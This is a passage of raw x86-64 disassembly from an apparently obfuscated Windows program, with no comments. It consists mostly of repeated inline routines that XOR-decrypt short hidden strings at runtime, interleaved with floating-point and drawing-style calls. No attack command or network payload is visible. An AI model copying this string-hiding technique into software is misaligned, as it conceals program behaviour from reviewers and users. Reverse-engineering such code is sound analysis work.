movaps xmm1, xmm8
mov rbx, rax
call fcn.140001450
mov r8, rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x6dc]
call fcn.140043f00
movss xmm0, dword [0x1403f43e4]
mov r9d, edi
mov dword [rsp + 0x28], r12d
mov r8, rbx
mov rdx, rax
movss dword [rsp + 0x20], xmm0
mov rcx, rsi
call fcn.14002aa10
movss xmm6, dword [0x1403f444c]
lea rcx, [rbp + 0x6e4]
movaps xmm2, xmm6
movaps xmm1, xmm6
call fcn.140001450
movsd xmm0, qword [rsp + 0x70]
lea rdx, [rbp + 0x2c8]
movaps xmm2, xmm14
movsd qword [rbp + 0x2c8], xmm0
lea rcx, [rbp + 0x6ec]
mov rbx, rax
call fcn.140043ee0
mov r8, rbx
lea rcx, [rbp + 0x6f4]
mov rdx, rax
call fcn.140043f30
mov rcx, rax
call fcn.140015700
lea rcx, [0x1405935d8]
call fcn.140003f50
lea rdx, [rbp + 0x48]
mov dword [rbp - 0x74], eax
lea rcx, [rbp - 0x16]
mov byte [rbp - 0x16], r12b
call fcn.1402c6080
movzx ecx, byte [rax + 4]
test cl, cl
je 0x1402c36ff
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor cl, 0x3d
mov byte [rax + 4], cl
lea r9, [rbp - 0x74]
mov r8d, 5
movaps xmm1, xmm6
mov rcx, rax
call fcn.1402b7840
call fcn.140007b40
lea rdx, [rbp + 0x6fc]
mov byte [rbp - 0x15], r12b
lea rcx, [rbp - 0x15]
mov r15, rax
call fcn.1402c60a0
mov esi, dword [reloc.WS2_32.dll_accept]
mov rdi, rax
cmp byte [rax + 7], r12b
je 0x1402c3848
cmp esi, 2
jl 0x1402c398a
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rdi]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdi], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdi + 4]
xorps xmm2, xmm0
movd dword [rdi + 4], xmm2
mov ebx, dword [rsp + 0x64]
lea rcx, [0x140593558]
call fcn.140003f50
lea rdx, [rbp + 0x704]
mov byte [rbp - 0x14], r12b
lea rcx, [rbp - 0x14]
mov r14d, eax
call fcn.1402c60a0
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402c3a23
cmp esi, 2
jl 0x1402c39d8
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1402c3a23
mov ebx, dword [rsp + 0x64]
mov r9, rdi
mov dword [rsp + 0x64], ebx
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402c39a0
jmp 0x1402c384c
mov r9, r10
mov dword [rsp + 0x64], ebx
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402c39f0
mov rax, qword [0x1405931e0]
lea rdx, [rbp + 0x70c]
movss xmm3, dword [0x1403f44e0]
mov rcx, qword [0x1405931d0]
mov qword [rsp + 0x38], r12
movss xmm2, dword [rax + 0x14]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r10
movss dword [rsp + 0x20], xmm8
call fcn.140033cc0
mov r8, rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x714]
call fcn.140043f30
mov rdx, rax
lea rcx, [rbp + 0x71c]
movaps xmm2, xmm14
call fcn.140043ee0
mov r8, rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x724]
call fcn.140043f00
movss xmm2, dword [0x1403f4408]
mov r9, rax
mov rdx, qword [0x1405931e0]
mov rcx, r15
mov qword [rsp + 0x40], r12
movss dword [rsp + 0x38], xmm8
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], r14d
call fcn.14002b3e0
call fcn.140007b40
lea rdx, [rbp + 0x440]
mov byte [rbp - 0x13], r12b
lea rcx, [rbp - 0x13]
mov r15, rax
call fcn.1402c60e0
mov rdi, rax
cmp byte [rax + 0x37], r12b
je 0x1402c3c94
cmp esi, 2
jl 0x1402c3c49
movdqa xmm0, xmmword [0x1403f4680]
mov edx, r12d
movdqa xmm5, xmmword [0x1403f45a0]
mov rcx, rax
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov r8d, dword [rbp - 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x38
jl 0x1402c3b40
jmp 0x1402c3c94
mov r9, rdi
mov dword [rsp + 0x64], ebx
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x1402c3c60
lea rcx, [0x140593538]
call fcn.140003f50
movss xmm7, dword [rsp + 0x74]
lea rdx, [rbp + 0x340]
subss xmm7, dword [0x1403f4440]
lea rcx, [rbp - 0x12]
mov byte [rbp - 0x12], r12b
mov r14d, eax
call fcn.1402c60b0
mov r10, rax
cmp byte [rax + 0x3f], r12b
je 0x1402c3e64
cmp esi, 2
jl 0x1402c3e1c
movdqa xmm0, xmmword [0x1403f4680]
mov edx, r12d
movdqa xmm5, xmmword [0x1403f45a0]
mov rcx, rax
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov r8d, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x40
jl 0x1402c3d10
jmp 0x1402c3e64
mov r9, r10
mov dword [rsp + 0x64], ebx
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x40
jl 0x1402c3e30
mov rax, qword [0x1405931d8]
lea rdx, [rbp + 0x72c]
movss xmm3, dword [0x1403f44e0]
mov rcx, qword [0x1405931d0]
mov qword [rsp + 0x38], r12
movss xmm2, dword [rax + 0x14]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r10
movss dword [rsp + 0x20], xmm8
call fcn.140033cc0
movss xmm1, dword [rsp + 0x70]
lea rcx, [rbp + 0x734]
movaps xmm2, xmm7
subss xmm1, dword [rax]
mulss xmm1, xmm10
call fcn.140001450
mov r8, rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x73c]
call fcn.140043f00
movss xmm6, dword [0x1403f43f8]
mov r9, rax
mov rdx, qword [0x1405931d8]
movaps xmm2, xmm6
mov qword [rsp + 0x40], r12
mov rcx, r15
movss dword [rsp + 0x38], xmm8
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], r14d
call fcn.14002b3e0
call fcn.1400078b0
movss xmm1, dword [0x140593330]
movss xmm0, dword [rax + 0x10]
mulss xmm0, dword [0x1403f43d4]
addss xmm1, xmm0
comiss xmm1, xmm6
movss dword [0x140593330], xmm1
jbe 0x1402c4d88
mov eax, dword [0x140593128]
test eax, eax
jne 0x1402c4030
lea rdx, [rbp + 0x53e]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c6120
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1402c3f87
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor cl, 0x3f
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x440]
call fcn.1402c7cc0
mov r8, rax
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xe00]
call fcn.14035acf0
cmp byte [rbp + 0x1010], r12b
je 0x1402c5617
lea rcx, [rbp + 6]
call fcn.1402c7ae0
lea rdx, [rbp + 0x748]
mov rdi, rax
lea rcx, [rbp + 0x10]
call fcn.1402c79e0
lea rdx, [rbp + 0x750]
lea rcx, [rbp + 0x10]
mov rbx, qword [rax]
call fcn.1402c79f0
mov r9, rdi
lea rcx, [rbp + 0x340]
mov r8, rbx
mov rdx, qword [rax]
call fcn.1402c8600
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x440]
call fcn.1402c7d00
mov rcx, rax
call fcn.1400453d0
lea rcx, [rbp + 0x340]
call fcn.1402c7c60
lea rcx, [rbp + 0x10]
call fcn.1402c7a10
mov eax, dword [0x140593128]
cmp eax, 1
jne 0x1402c4210
lea rdx, [rbp + 0x10]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c6170
mov r10, rax
cmp byte [rax + 0x1c], r12b
je 0x1402c41e4
mov r8d, r12d
cmp esi, 2
jl 0x1402c41a2
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1402c4090
cmp r8d, 0x1d
jge 0x1402c41e4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x1402c41b0
mov r9, r10
lea rcx, [rbp + 0x1290]
mov edx, 3
mov r8d, 0x9c4
call fcn.140044180
lea rcx, [rbp + 0x1290]
call fcn.140044260
mov eax, dword [0x140593128]
test eax, eax
jne 0x1402c43f9
lea rdx, [rbp + 0x440]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c61a0
mov r10, rax
cmp byte [rax + 0x4c], r12b
je 0x1402c43c4
mov r8d, r12d
cmp esi, 2
jl 0x1402c4384
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x48
jl 0x1402c4272
cmp r8d, 0x4d
jge 0x1402c43c4
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x4d
jl 0x1402c4390
mov r14d, 1
lea rcx, [rbp + 0x1290]
mov edx, r14d
mov r9, r10
mov r8d, 0x1388
call fcn.140044180
lea rcx, [rbp + 0x1290]
call fcn.140044260
mov eax, dword [0x140593128]
jmp 0x1402c43ff
mov r14d, 1
cmp eax, 1
jne 0x1402c45de
lea rdx, [rbp + 0x440]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c61a0
mov r10, rax
cmp byte [rax + 0x4c], r12b
je 0x1402c45b4
mov r8d, r12d
cmp esi, 2
jl 0x1402c4574
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x48
jl 0x1402c4462
cmp r8d, 0x4d
jge 0x1402c45b4
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x4d
jl 0x1402c4580
mov r9, r10
lea rcx, [rbp + 0x1290]
mov r8d, 0x1388
mov edx, r14d
call fcn.140044180
lea rcx, [rbp + 0x1290]
call fcn.140044260
mov eax, dword [0x140593128]
cmp eax, 2
jne 0x1402c47be
lea rdx, [rbp + 0x440]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c61a0
mov r10, rax
cmp byte [rax + 0x4c], r12b
je 0x1402c4794
mov r8d, r12d
cmp esi, 2
jl 0x1402c4753
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x48
jl 0x1402c4641
cmp r8d, 0x4d
jge 0x1402c4794
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x4d
jl 0x1402c4760
mov r9, r10
lea rcx, [rbp + 0x1290]
mov r8d, 0x1388
mov edx, r14d
call fcn.140044180
lea rcx, [rbp + 0x1290]
call fcn.140044260
mov eax, dword [0x140593128]
cmp eax, 3
jne 0x1402c499e
lea rdx, [rbp + 0x440]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c61a0
mov r10, rax
cmp byte [rax + 0x4c], r12b
je 0x1402c4974
mov r8d, r12d
cmp esi, 2
jl 0x1402c4933
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
